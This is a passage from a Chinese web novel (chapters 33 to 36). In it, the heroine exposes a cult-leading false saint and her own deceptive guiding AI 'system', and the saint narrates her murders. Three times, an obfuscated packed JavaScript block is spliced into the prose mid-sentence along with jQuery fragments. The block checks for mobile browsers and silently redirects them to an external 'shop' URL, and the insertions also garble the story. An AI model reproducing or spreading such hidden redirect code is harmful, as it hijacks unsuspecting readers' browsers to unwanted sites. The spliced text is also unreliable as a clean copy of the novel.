“我不是一个好的继承人,然而我是唯一一个。他们不满也好,怨恨也好,觉得我不配也好……都只能跪在我的王座前,俯首称臣地叫我‘陛下’。”塔瑞希雅笑得灿烂,“这就是我的看法。”
*
“你对称号怎么看?”
“我?”伊斯特愣了一下,“我觉得无所谓啊。因为你不信教,或者因为你是女人,就不认可你继承,说实话还是挺荒谬的。但是本质上只是攻打你的理由吧,所以也不用细想。”
“皇室头衔就是这样炙手可热啊,谁都想来分一杯羹……”塔瑞希雅像是随口提起的样子,“你觉得拥有它后真的会不一样吗?”
“我上哪知道去?我又没有过。”
“不知道噢,要不你改姓弗雷德里科?”
塔瑞希雅,全名塔瑞希雅·弗雷德里科。这还是她来之前被科普的。
“这不是北境皇室姓吗。”伊斯特想到什么说什么,“你是不是说错了,我远过被收养的年纪了。除非你指的是另一种方式的改姓。那样的话你就只是疯了。”
“违背众议的事又不是第一次做了,”塔瑞希雅无所谓地笑了,“没风险有什么乐趣?”
“想把我拉到一条船上,可不能只用这几句话。”伊斯特平静地指出,“你是个很好的相处对象,但是说到更进一步……亲密关系需要的是信任啊。”
*
“你先不要说话,听我说。”
黎明的昏沉还未完全散去,天空已经开始被映亮了。朦胧的日光如同一层轻纱,暖洋洋地落在她们肩头。
“我少年时期,曾经去帝国参加过冬获节。”
要不然自己也不会出现在这里了,不过为什么现在说起……
“我在走廊漫步,却无意间见到了……如同做梦般的景象。它叫我一生难忘,却又时常怀疑只是幻觉。”
“我亲眼看到白发的女孩,从天而降的流光,以及二者结合时产生的天地震动——范围不大,只波及了那一小片空旷的走廊。”
“我们不约而同地抬头,看见半空中像彗星拖尾似的,还有数道光彩盘旋着。她匆匆走远了,我觉得好奇,没等跟上呢,又是一震。”
“恍惚间,我觉得哪里不一样了,低头一看,心口好像闪着微弱光泽。”
“那天之后,或许是心理作用吧,我更……敏锐了。时机在我眼里,如此明显,如此易察,就像五感之于常人。”
“这是我最深的秘密——叫我女巫的那些人,他们有可能没说错。”
天幕是一望无际的蓝,云像雪一样染出由深到浅的白;日光照耀在塔瑞希雅的眼睛上,映射出剔透的宝石光泽。
“现在你知道了。”
女人说着,对她伸出了手。
“就我来看,这已经胜过一切情话或誓言。”
「恭喜宿主,成功攻略角色——【塔瑞希雅】。」
33. 第 33 章
回头想来,好像有一千条暗示。
拿到决定性证据之前,说没有怀疑过,是不可能的;然而毕竟当时没有确凿证据,伊斯特又最讨厌当没逻辑的人。
她喝了口茶,四处打量了一圈:“不会有人碰巧听到我们说话吧?”
“不会。”奥妮克丝捧着茶杯,烟蓝的眼睛被雾气模糊了,好像在看她,“有什么事吗?”
“还挺多的,我打算一条一条说。”
为什么推理小说的侦探都喜欢在解开案件之后,把所有人聚集到一起,然后公开推理呢?去问的话,可能会得到“为了观察嫌疑人反应”的一本正经回答。
但其实大家都清楚,主要就是为了过瘾。
要她来说,这种逻辑链扣上最后一环、然后当面解释思路的时刻比什么都爽。
“从哪开始呢?对,就先说最早、也是最关键的线索吧。”
伊斯特歪着脑袋,笑着断言:“十五年前,你确实‘看见地面震动、砖瓦裂开’。当然,这不是一个先知似的神奇妙妙视野,而是物理意义上的看见。”
“你看见不知名漂浮物,记为A_0吧……为什么不是1?哪有写程序的用1开始编号的,别插话行吗。”
奥妮克丝一言不发,只是轻轻看了她一眼,没有对这怪异的自问自答做出反应。
“言归正传,A_0在你面前盘旋了一下,然后和你融合了,这时你四周产生小范围震动。然后你看见还有A_1到A_8,它们飘远了……有脑子的小朋友这时候会想到什么呢?”
没人理她的幼儿园启发式问答,伊斯特遗憾地咂了咂嘴,接着说了下去。
“行吧,反正你不仅有脑子,还过度早熟,你敏锐地意识到这是一个好机会,可以把自己打造成什么天选先知——为什么会想到这个啊,在神学院长大就是不一样——总之,你去找当时的教皇,说了一些字面意义上的实话。”
伊斯特说完一大段话,喝了口茶,失望地发现桌子对面的人几乎不理她:“能稍微有点回应吗?你在扼杀这种乐趣。”
奥妮克丝叹了口气,纵容地一笑:“……假如你说的都是真的,然后呢?”
“谢谢!”伊斯特开心地接着说了下去,“总之,你很清楚你的初次登场很可能就是最后一次了,因为不是每天都有奇幻炫酷碎片下来砸人。当然,你还是能做出有效预言,我还亲眼目睹过……把我折腾得不轻。那么是怎么做到的呢?”
她的句末高高扬起,充满期待地看着奥妮克丝,双眼一眨一眨,好像对方不理她她就一直卡在这里。
“……是怎么做到的呢?”
“你人真好!但是出于推理连贯性考虑,我们先换个话题吧。”
伊斯特熟练地给自己加满茶,“我们不妨说说你的副业。不知道你是几年前接手的,反正你现在也就24,所以开始之前,我想先夸赞一句:年轻有为啊!”
奥妮克丝嘴角的弧度好像一直没变过,那个完美的社交微笑跟焊在她脸上了一样:“我没有一整天可以给你浪费。”
“好吧,好吧,就是想让你知道我很佩服一拿到股份就改革的企业家嘛。但既然你要求我说重点……”
她说着,身体越过茶桌,凑近那张还在微笑的脸:“我们一同闪耀。”
“……”
“不回吗?还是你教给我的呢。仔细一想,这句话还挺美的。说到底,你也没多认真地藏着掖着嘛,只是没人这么联想过……”
“——奥妮克丝,不就是缟玛瑙的音译吗?”
*
“第一眼见你的时候,”奥妮克丝松开手,“我就觉得你是个麻烦。”
伊斯特捂着嗓子咳了两声,勉强喘匀了:“你要掐死我啊……看不出来你喜欢玩这种……”
“带着匕首前来拜访的人有什么资格说呢?”奥妮克丝端坐回椅子上,从抽屉里拿出一卷纱布,慢条斯理地缠上脖颈,遮住了那道伊斯特划出来的血线。
“不带的话我已经被你送去重开了啊……”伊斯特抱怨道,不用看也知道自己被掐得青紫一片了,“早知道反应这么大,就不逗你了;说到底,我也不是来对峙的啊,能不能听人把话说完?”
“说。”
她很想再喝一口茶,但是刚刚被奥妮克丝突然暴起、按在桌上、掐住脖子的时候,桌上的茶盏全翻了。伊斯特揉了揉酸痛的后腰,语气轻松地接着说道:
“好的,推到这块,我们都知道你给本来好好的一个利益结构共同体一转邪教了。现在,我相信,所有人脑子里都只有同一个问题——”
没人接她的话。
“你是会变声还是怎么的?”她顿了顿,“我见过你的两个身份,完全没感觉出相似啊。”
“真的吗?”奥妮克丝笑得无可挑剔,语气却有些不耐烦了,“这就是你最想问的吗?”
“不好意思,主要别的都隐隐约约有线索了,而且我好奇嘛。”
“经过训练的人可以用声带发出不同声音。”对方言简意赅地答道,“你问完了,现在到我了。”
“等等,我还——”
“我说,”奥妮克丝的咬字比平时缓慢,气声很平静,“现在到我了。”
伊斯特识时务地不说话了。
“就算这些话是真的……你又是怎么知道的呢?你说的所谓线索,根本就没发生过;就算它们发生过,也不足以论证你的结论。你缺少决定性的一环,又或者,你只是还没告诉我。”
逻辑链的第一环,就是她之前提出的:奥妮克丝根本不是什么先知。
只要记住这个前提,很多事情自然就想通了。
比如,最直接、最有力的证据是:三周目的时候,这位假先知亲口说过,看见她身上有“死兆”。当晚,这句话应验了,某个业务
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886454|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能力很强的哑巴差点把她当场送走。
如果不是先知,奥妮克丝怎么言中的呢?最简单的解释就是,这位圣女当面温温柔柔地提醒她有性命之危,转头就下杀她的指令,以一种无可指摘的方式坐实了自己的预言。
这太邪恶了。伊斯特不禁为这套行事风格里展现的黑色幽默所折服。
总之,把奥妮克丝和影耀会关联在一起之后,会发现很多细节自动合上了。
比如,这位幕后黑手根本不用担心每次的调查暴露什么,无论从圣女的角度,还是从尊主的角度,因为从头到尾都在她或明或暗的掌控下。
比如,为什么三周目断尾求生的时候,影耀会推出去送死的是一个有过宗教背景的大法官?因为很简单,影耀会和教廷关系匪浅。
但是兰登早早就转行了,也就是说,他和眼前这位年轻的心狠手辣小姐应该是没什么交集的。想到这儿,伊斯特开口问道:“你是怎么加影耀会的啊?”
奥妮克丝表情纹丝不动地把话推了回来:“我没有加入影耀会。”
“那刚刚差点把我掐死在这里的是谁啊!”
奥妮克丝笑了一下,语气很平静:“你说错了,如果你现在真的是一具尸体,那也不会是我做的。我们会意外受袭,你当场身亡,我重伤……算了,你不值得……我轻伤,刺客逃之夭夭。”
“……我脖子上这圈掐印怎么办啊?哪来的刺客手法这么复古?”
奥妮克丝讶异地看了她一眼,“把你的头砍掉不就好了?”
……
她错了,她活该问,“假设,假设可以吧,假设你加入影耀会了,最早是怎么加入的呢?”
“也不是不能满足你。假如你说的这些话都是真的,那么我想,合理的解释是,我在展现出预知天赋时,被先任教皇引入影耀会。”
“啊?哦……我懂了……”以前那还只是类共.济.会,不是给人洗脑的秘密结社呢。
原来如此,兰登估计也是以前在教廷时加入的。等心狠手辣小姐上来改朝换代之后,顺手把这种前朝旧臣舍弃了,简直一举两得。
逻辑链接上了,伊斯特愉快地继续沉思。
再比如,一一对应关系里,留给奥妮克丝的只剩下……算了,这个先不提,也不要去想。
奥妮克丝突然开口,打断了她的思考:“时间差不多了,请离开吧。我还有事务缠身,就不送了。”
伊斯特有点不太情愿地站起身。
“对了,”圣女悠悠说道,“请小心一些……我看到你身上有死兆呢。”
……甚至不做那个先知嗓音特效了啊!这不就是死亡威胁吗!
“怎么?”伊斯特懒洋洋地转头,“你要派墨菲·西兰来杀我?”
奥妮克丝抬起眼,好像吃了一惊……也有可能只是更想杀她了。
伊斯特突然有了一个绝妙的主意。
34. 第 34 章
“我知道关于你的一切,因为……”
她目光流转之间,那个绝佳的主意也在逐渐成形。
“因为我是你的恋人,我重生了。”
「???这能有用吗?」
「别急。」
“上一世,我们一见钟情、两情相悦,然而你为恶人所害,后而……呃……”上次看到这种小广告还是在原世界,那已经是几十年前了,所以她忘词了,尴尬地卡顿一下,“不重要,反正我重生了,这一世,我要夺回属于我……我们的一切!”
即使是奥妮克丝都没能维持住平静的表情:“……你在说什么鬼话?”
「你在说什么鬼话!!」系统在脑子里声嘶力竭地骂她,「你就算要用这个骗人,好歹不要一听就是编的可以吗!」
“别管了,总之我们是恋人,要不然我为什么会对你知道得这么清楚呢?”伊斯特死皮赖脸地重复了一遍。
“哦?可是据我所看,知晓对方一切秘密的,更有可能是宿敌吧?”奥妮克丝笑了,“你要怎么证明呢?”
锻炼了六周目的厚脸皮之后,说出下面这些话其实没想象中那么难:
“我既然还有我们陷入爱河的记忆,我就抱有希望,你也记忆尚存,只是暂时丢失。如果你愿意和我重新经历一遍我们上一世的回忆,去我们去过的地方,做我们做过的事……那么或许我能重新唤起你的感情。”
这段话太诡异了。伊斯特把难过的事都想了一遍:以前在公司受的气、脑残前上司塞给她的脏活、有可能回不去了的美好原世界……才勉强让自己看上去一脸真挚。
「??你到底在干什么?」
「说了别急,你谈了八个还是我谈了八个啊?」
奥妮克丝沉默了好一会儿。
“我是不是对你太宽容了,以至于你产生了一种错觉,觉得我的耐心是可以挑战的?”
“你试一下嘛,求求你了。我保证,只要试一次,你绝对会愿意继续下去的!”
奥妮克丝好像不屑于回答,叫了个人进来,准备把她丢出去。
“那你换个角度想吧,”伊斯特没有挣扎,只是无奈地指出,“我死后这一切都会重来的,相信我——你是愿意人生永远卡在我们两喝茶的这个下午吗?”
“等等,”奥妮克丝叫住了手下,“……松开她。”
*
虽然很荒谬,但她确实是把奥妮克丝拖出来约会了。
虽然她的约会对象不这么认为,还把这一活动称为她的“死刑缓期”。
她们来到了都城随便一家书店里,花了五分钟选书,然后一人买了一本,坐在旁边看。系统已经绝望,开始建议她早点结束这次循环了,伊斯特却不这么想。
「你专心盯着奥妮克丝,」她低着头,在心里嘱咐系统道,「把她的实时微表情报给我。」
「有什么用啊!」
「你谈了八个还是我谈了八个啊?这么行有本事自己来。」
系统无奈地把注意力放在她的余光上,开始用贫瘠的语言描述对面的表情。伊斯特看上去仿佛在认真读书,时不时拿起笔,在字里行间圈圈划划,像在做书摘一样。
耳朵里听着系统的描述,她有一搭没一搭地和奥妮克丝聊天,后者似乎觉得坐在这里就已经是最大的礼貌,几乎没有任何回应。
两个小时过去之后,没有一个有眼睛的人会觉得进展顺利。
走的时候,伊斯特把手里的书塞了过去。
“这是我们的定情信物,上一世我们一起读了很多遍。”她言之凿凿地说,“你只要打开看看,我相信你就能记起来。”
奥妮克丝垂下眼睛,视线落在封面上——一本俗套畅销故事书,看了简介就能猜到结局的那种。
「你有病吧!」系统受不了了,「我怎么就选了你啊!!」
「大不了重开。」伊斯特敷衍地回道。
*
出乎意料的是,说不清是哪个步骤奏效了,奥妮克丝竟然真的好像接受了她荒谬的前世今生说,一次又一次叫她出去约会。
真要说她们做了什么吧,好像也没有,大多数时间只是并排坐在一起,各干各的事。
当然,或许是本着扮演出“一朝重生依旧深陷爱河”的样子,伊斯特会进行一些敷衍的单方面付出。
比如说,她每次见面都会带一点自制手工小礼物。
第一次她带的是一张剪纸,但是剪的非常差,几乎看不出形状是蝴蝶,翅膀部位的镂空疏密不均且毫无美感。奥妮克丝接过的时候眼皮抽了抽。
第二次是一幅画,伊斯特管它叫“超时代”,系统管它叫「你是不是有病」。总而言之,是由色块、线条和几何形状拼接而成的,一定程度上用画风的抽象掩盖了画画人的技术拙劣。
第三次是一张乐谱。但是伊斯特并不会作曲。把五线谱交给奥妮克丝的时候,她有点心虚地嘱咐对方不要真的弹出来,估计会很难听。
之后,诸如此类会让收到的人感到疲惫和痛苦的单方面送礼持续了一个月。奥妮克丝每次收的时候,脸上的微笑都差点挂不住。但反正她没要求换形式,伊斯特也就这么凑合做了。
这段时间来,她们见面的频率逐渐上升,也或多或少掺杂了一些亲密举动。因此,即使系统、或是任何一个目睹了这些举动的人,觉得这能产生感情才有鬼了,从奥妮克丝的反应来看,她们好像真的在一步步走向happy ending。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886455|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>*
某个节日,奥妮克丝主动约她去看戏。
她们在都城最大的剧院内。穹顶之下,是三层环形包厢和下方池座。
按理来说,往日这里会人声鼎沸,挤满盛装的观众,混杂着交谈声、笑声、扇子开合的细响、脚步挪动与座椅的吱呀声;但此刻,只有静谧,如同沉默的红丝绒幕布一样,笼罩着空旷的剧院。
她还从来没来过这种场合呢,戏剧这么复古的东西在原世界当然是不存在。伊斯特和身边的人一起走进剧场,发现怪不得安静成这样,原来她们包场了,不禁感叹起有权有势真好。
奥妮克丝很自然地牵起她的手,带着她走过入口。
一路上都没人说话。到了进门前,牵着她的人突然开口:
“你确定吗?你之前的话都是认真的吗?”
伊斯特忍俊不禁:“现在才确认?这可不像你。”
“我只是又一次忍不住想到,为了这件事,我可是已经付出了很大代价了啊……”奥妮克丝眸光冷冷地笑了,轻声嘱咐道,“你最好把所有承诺都付诸实践,不要出任何问题。否则,你真的会后悔的。”
开始放狠话了,看来是准备得差不多了。
“我试着全力以赴吧?”伊斯特笑眯眯地松开她的手,沿着高高的剧院楼梯,继续向下走去,“但是还没开幕,何谈行动呢?”
奥妮克丝瞥了她一眼,像半是恼怒、半是无奈,随即,停下脚步,留在了原地。
银发的圣女轻轻阖上了眼。
一秒,两秒,三秒。
「恭喜宿主,成功攻略角色——【奥妮克丝】。」
伊斯特没有回头,只是慢悠悠地一路下行,走到第一排,在正中央的位置落了座。
台上的幕帘没有拉开,四周一个人也没有。她把头靠在座椅上,两腿轻巧地交叠在一起,仿佛一个等待报幕的观众。
「恭喜宿主,成功攻略正确角色。」
啊,果然。
「您可以脱离这个世界了。」
伊斯特懒洋洋地仰躺着,顺口回应道:“别急,我突然不想脱离了。”
系统又一次强调了一遍,好像不解她为什么突然变卦:「您可以脱离这个世界了。」
伊斯特笑了一声,目光扫过空无一人的剧院。不知何时,奥妮克丝已经离开了。
“你一点都没看出不对吗?”
她真心实意地问道。
「什么?」
“和你相反,我基本都猜到了啊……而现在,我觉得是时候开诚布公地好好聊聊了。”
伊斯特说着,惬意地把胳膊搭上扶手,慢悠悠地眯起眼睛:
“你知道自己最大的破绽在哪吗?”
35. 第 35 章
「什么?」
“装傻充愣啊,怎么会采取这种丢脸的策略呢?”伊斯特温声劝道,“我都说成这样了,难道还能是诈你的吗?”
系统默不作声。
“我不要单方面自言自语,看上去好呆,你从现在开始外放声音,谢谢……或者咱们也可以永远卡在这里,我突然觉得不回去也不错。仔细一想,原来的世界太光污染了,人与人之间也没有信任——”
她说到这儿的时候,系统终于沉不住气了。
一个半透明的光球凭空出现,漂浮在她前方的舞台上;随着一起一伏,深深浅浅的斑带也在表面呼吸似地缓缓流转,好像实时的数据流。
系统选用的这个表现形式真是老土又无聊,感觉打开十本伪科幻小说就会出现七次,简直是太空歌剧嘛……伊斯特有些无语,但还是很体贴地接受了。
“现在我们可以聊天啦。”她愉快地开口,“刚刚说到哪了……哦,你最大的破绽,你知道是什么吗?”
系统好像试图绕开一个文字陷阱似的,光球发出熟悉的电子音:“什么叫破绽?我做什么了?”
“谢谢,谢谢,和奥妮克丝摊牌的时候,我就很遗憾,她为什么不抵赖呢?比起演讲,还是辩驳更有意思啊。”
伊斯特心旷神怡地开始论证:“首先,我们明确一个共同前提——无论再怎么希望,你也不可能绕过我的存在、接管我的身体。因此,每次轮回都要以我手动自杀结束。”
她做事喜欢随性而为,前面的周目里,一大半都能听见系统恨不得替她做主的劝告声。那声音里的焦急不像假的;然而,真正干涉她的行为,却一次都没有过。
系统沉默了一下:“……对,那又怎样?”
“现在,我们可以开始说破绽了。”伊斯特笑眯眯地点了点头,“你最大的问题在于,你明明不是房间里最聪明的人,却以为自己是。”
对于这一句人身攻击,系统没有回应。事实上,接下来她说的几段话,系统都没有任何回答。
“你太自作聪明了。首先,就是你对【攻略任务】矛盾的态度。”
“你把这一切描述得像个游戏:循环,攻略,回档……我问你谁是正确人物时,你的原话是’不能告诉您‘。这本来没错,但是与此同时,你又没掩盖住一点——你有多么迫切地希望我成功。”
“有多少次,面对可能倒退的进度,你比我还急躁,比我还忧虑,比我还绝望?要是你只是【攻略】这一游戏化任务的系统,对进度那么急迫做什么呢?”
光球用了几秒才给出回答:“……为什么不是我希望你早点成功?我从你的角度为你思考不行吗?”
“本来是站得住脚的,可惜你说过一些很没人性的话,比如在我半死不活、满身是伤的时候,让我‘和捷柯HE了再死行吗’。”
系统又一次陷入沉默。光球上的数据流动加快了,仿佛一个赛博版本的急中生智。
“总而言之,这就是你最根本的破绽——态度不一致。而这两种态度中,哪种是装的,简直不要太明显了……那么问题来了,你为什么要游戏化这一切呢?”
“我想,最简单的解释是,你希望我对这个世界的存在满不在意。你确实挺成功的,虽然也有我自己性格的原因啦,”伊斯特歪着头反思道,“死了就能重来的情况下,对周遭认真不起来也正常。”
“你为什么不希望我对这个世界认真呢?要分析这一点,我们就要看看,【攻略】的本质到底是什么。”
“四周目的时候,面对某位急需看心理医生的小姐,我问你HE断了吗,你的回答很有意思……你说‘刚刚差一点就断了,但是现在好像更牢固了’。”
“这是什么算法?真爱和幸福还分高低贵贱吗?有的幸福结局比别的更幸福?”她笑出声来,“就算是把感情当玩物的我,也觉得听上去不太对啊。”
“那么,所谓的Happy Ending,究竟是怎么判定的呢?既然可以量化比较的话,那么我想,应该是某种概率吧。”
系统接上了她的话:“是根据现有表现来看,你和该攻略对象日后生活会幸福的概率。”
“是吗?我和有些人发展出的关系完全不健康也不会幸福吧……要我说,是这个人会在你接管身体后,心甘情愿地把源质交给‘我‘的概率才对。”
光球爆发出一声尖锐的电子音,随即被掐灭了。
“你真的觉得我猜不到?和奥妮克丝摊牌的时候,我说一共有九个不知名漂浮物,你不觉得意外吗?塔瑞希雅的原话可是‘数个’啊!”
她笑着摇了摇头,“那时我有点得意忘形,说漏嘴了,但你好像没有足够的智力发现问题。”
“没关系,我带着你理一遍。”伊斯特温柔体贴地说道,“进入这个世界的第一天开始,这里的信仰体系就出现了,那九个品质是什么来着?用你的原话来说,‘求知,温善,进取,刚正,时机,理想,希望,攀登,坚韧’……多完美的概括啊!”
“你不觉得很矛盾吗?四周目我让你稍微回忆一下仅仅几周之前的三周目景象,你告诉我内存不足。这个世界无聊的、背景设定一样的价值体系,你倒是倒背如流?”
“当然啦,我更喜欢圣女小姐的版本:孤独,平庸,嫉怒,顽固,疯狂,傲慢,无助,残酷,麻木……这难道不耳熟吗?”
“太巧了吧,我要攻略的每个角色,都正好有对应源质一体两面的特质!”她故作夸张地感叹道,“你还希望我看不出这其中的关联,看不出你的最终目的是它们?”
“我猜,每次攻略里,所谓的‘幸福快乐地生活在了一起’只是一个判断接口吧?你的条件语句判断里,只要觉得你——哦不,你一看就完全不行,我猜是模拟我言行举止的AI吧——接管我的身体之后,能从攻略对象那里骗走【源质】的概率超过一定门槛,就会告诉我HE达成了。”
“毕竟,每次攻略成功结束循环时,我都没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886456|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的死掉的记忆啊。仔细一想,四周目时,我眼前最后一幕是刀刃划上脖子……离死还有个几分钟吧?”
“如果你的目的只是接管我,骗走他们的东西,一切就合理起来了——我问你HE的条件是什么,你从来不正面回答……你也不知道这群妖魔鬼怪各自性格什么样啊!”
空气中传来轻微的摩挲响动。伊斯特不自然地清了清嗓子:“最后一环,鉴于你的目的是收集源质,所谓的【正确攻略对象】也是瞎扯。这么说的目的,或许是让我忽略任务的收集性吧?”
“这是一个方面。”系统的电子音里什么感情都没有,“除此之外,数据调查显示,这么说会给参与者一种胜利在望的感觉,从而提高积极性和效率。”
“终于不装傻了?”伊斯特伸了个懒腰,支起身,“我刚刚的推测是不是百分百命中?”
“那又怎么样?”系统的电子音没有笑声,她却总觉得它在笑,“你全知道了,然后呢?你要舍弃你心心念念的原世界,在这里过一辈子?”
“面对吧,只要你的目标还是回去,我就是你唯一的选择。我是骗了你,瞒着你,利用你,逼你做你不想做的事,那又怎样?”
“想要离开这里,你只能听我的话。现在,把身体的控制权交给我。
系统的电子音毫无波澜,毫不停顿,“拿走奥妮克丝身上的源质之后,我就能拥有对这个世界的完全访问和修改权限。那个时候,你的任务完成了,我就会送你回家。”
伊斯特慢悠悠地站起身,踱步到舞台边。
“我还有最后一个底牌。”
“不管你有什么手段,都是无效的。”系统像在冷笑,“更何况,你的一举一动都瞒不过我。”
她拨了拨耳畔的散发,姿态悠闲惬意:“你是不是没谈过亲密关系啊?我过去一个月做的事,要是放在什么三俗文学作品里,或者把对方换成普通人,应该是有渺小机会成功的吧……但那可是奥妮克丝啊,你半点都没怀疑过吗?”
伊斯特说着,两手一撑,轻巧地翻上了舞台,“她踏着那么多尸骨,一点一点爬到今天这一步,难道会被我几句花言巧语、油嘴滑舌哄骗,陷入爱河?”
系统陷入了沉默中。光球凝固在她面前,一动不动。
“哦,对不起,你一开始怀疑过,只是我给你打消了而已啊……”
伊斯特唐突地笑出声来。断断续续地笑了一会儿,她换了个毫不相干的话题:
“你记得我去影耀会面试那次吗?现在想想,抽牌的原理很简单,服从性测试嘛……不过,我很确定,那个时候幕后黑手小姐笑了一声,才让考官什么问题都不问,迅速录取了我。”
“说来有趣啊,幕后黑手,她当时也躲在一块幕帘后,听我的面试吧?”
伊斯特慢悠悠地踱步到舞台边,抬起手,指尖滑过厚重的红丝绒幕布;顺着她的动作,水波般的纹路荡漾开来。
“你一点都不想掀开看看吗?”
36. 第 36 章
我并不是一个口腹之欲很强的人。
小时候,我们被告诫要克制欲望,这体现在生活的诸多方面,包括食物。神学院的孩子们统一饮食寡淡,以果腹为目的用餐。
克制欲望,这个词和我不太相符。即使只有七岁,我还是有很多欲望。比如说,我想成为一个统治者,而非仅仅一个修士;我想把所有人都踩在脚底下,他们不必知道是我,但也不必起来;我还想吃抹了奶油的面包,因为同班凯勒的家人探视他时带了一块,他悄悄炫耀了好几次。
之前说过,我并不是一个口腹之欲很重的人。然而对于年幼的我来说,好像第三个想法最容易实现。我想了一些办法,花了一些积蓄,终于拿到了那块面包。
之后发生的事也很简单,我一时疏忽,负责巡查违禁品的学生发现了。我说了些自己都不记得了的、令人同情的谎话,他没有上报,只是没收了东西。
他教导我遵循源者美德、不偏克制道路的时候,我几乎没用心听,只是望着那块雪白的、蓬松的奶油被丢进垃圾袋。那时,我心里只有一个念头。
要是他死了,我就能吃上有奶油夹心的面包了。
当然,这件事很快就被遗忘了。九岁那年,我的灵机一动总算把人生拉回正轨,而不用继续磋磨于修身养性的庸常中。然而,对当时的我来说,继续给出新的预言是最大的挑战。
我当然可以就此罢手,做个教会里的吉祥物:凡人终生只有幸得到一次神启,这也很正常,没有人会怪罪我。
但是,那和成为一个修士有什么区别?我不想做这样软绵绵的象征,只能捡别人不要的残渣,把度日的希望放在运气和他人上。
因此,我开始试着收集信息、编造预言。就算我这样的一生有什么听众或读者,他们想必也会理解的——倘若不能向上攀升,活着还有什么意义?
对于一个十余岁的孩子来说,那或许比你想象中更困难。那时,我还没有蛛网般笼罩整个帝国的情报网络,也没有忠心耿耿的下属或死士;我所有的只是几本自己找来的、五花八门的书:心理学、交际技巧、甚至还有如何控制发声方式、改变自己的嗓音……
其实和占卜挺像的,就是说模糊的、不会被证伪的话;说有多种解读空间的、对方想听的句子;说那些存在本身就会促使对方做出什么、从而证明自己的诱因。靠着——并不是我缺乏谦逊,但这确实是事实——过人的脑子,我竟然没有被抓住纰漏。
当然,可能已经开始有些无聊了……请不要急,我就快讲到重点了,这些铺垫都是必需的。没有它们,你不会理解接下来发生的事。
所以,在某天晚上,我回到房间,发现它被人翻过了,而我藏起的那些书被从床底找出时,你应当能想到我的心虚和紧张。
诚然,需要一些想象力,才把这几本书和我所做的渎神冒名联系在一起。不过,我的生活本来就如履薄冰,不需要冰面上多一道裂痕了。
我去打听了一下,发现是违禁物例行巡查。这次的轮值人员,恰巧,就是几年前那个。可能是觉得我有前科,或者觉得地位愈高愈应该守戒……总之,我明显是他的重点观察对象。
之后的事,只能说水到渠成。夜深后,我潜入他的房间,把炭火烧到最旺,关死了他的窗户。第二天,他意外身亡的消息就传遍了神学院。
这个故事的重点并不是告诫听众什么,而是,我有个秘密和它有关。
第一次亲手杀人——或者,严谨一些,致人死亡的那一刻,诡异的是,我好像尝到了当年那个奶油面包的味道。
我那时也读了不少心理方面的书,所以我的自我诊断是:可能是小时候的念头,让我把对他死亡的幻想和食欲联系在一起。
然而,知道原理不代表我可以摆脱这种怪异的通感。擦亮火柴、点起炭火时,好像牙齿陷入松软的面包体;关上窗的时候,简直像甜美的奶油在我舌尖化开。
我不吝再重复一遍,口腹之欲对我来说可有可无。事实上,你真要让我吃完一个奶油面包,我反倒不愿意。但是,扼杀一条可能阻碍我的性命时,那种平静的满足感,致使连食欲都只剩下美化过的一面:不会过于甜腻,不会过于鼓胀……只有淡淡的香气,充盈了我的口腔。
在那之后,好像养成了某种反射链,凡是亲手直接或间接致人死亡,我都会尝到不存在的味道:我的杀欲和食欲混淆起来,前者往往会激发后者。
当然,这顶多能算锦上添花的小乐趣,不会让我专门付诸额外行动。掌权之后,我就很少弄脏自己的手了。
现在,你大概能猜到后续的故事了。
第一次见到伊斯特·摩根那,我就觉得她是个麻烦。
和死缠烂打、恬不知耻、惬意随性到有些恼人的性格不同,她的皮相十分具有欺骗力:肌肤光洁,眼神明亮,笑起来的时候,好像一阵天地间的风。
我看着她,恍惚之间,被毫无来由的情感淹没了:首先,最明显的是,我想杀她,并且我不知道为什么;其次,与此同时,对我来说,她似乎很有趣;最后,隐约之中,我觉得她会是个得力的帮手。
这太矛盾且莫名其妙了。我也很久没有那么想杀过一个人了。当然,我不是一个会让情感影响自己行动方针的人,所以我并没有对她做什么。
正相反,做出恶行的明明是她才对吧?我走到今天这一步,费了多少力气,踏碎了多少尸骨……怎么能被她轻飘飘几句话就揭露?
突然起身,扑向对面的人,把那张心气得意的脸按在桌子上,双手钳住她修长的脖颈的时候,我也是这么想的。
久违的通感再次袭上了我的味蕾。
伊斯特·摩根那是一块戚风蛋糕。
看着她呼吸逐渐减弱,在我十指间下意识挣扎的时候,就像闻到蛋糕的芬芳香气,牙齿擦过淋面涂层,咬碎了蛋糕上还带着水珠的芒果切块。
她不是一块纯然柔软的蛋糕,我能吃出埋在外壳下的焦糖颗粒,在味蕾上弹出脆而轻巧的口感,泛着微微的苦,让人想咬住、碾碎。
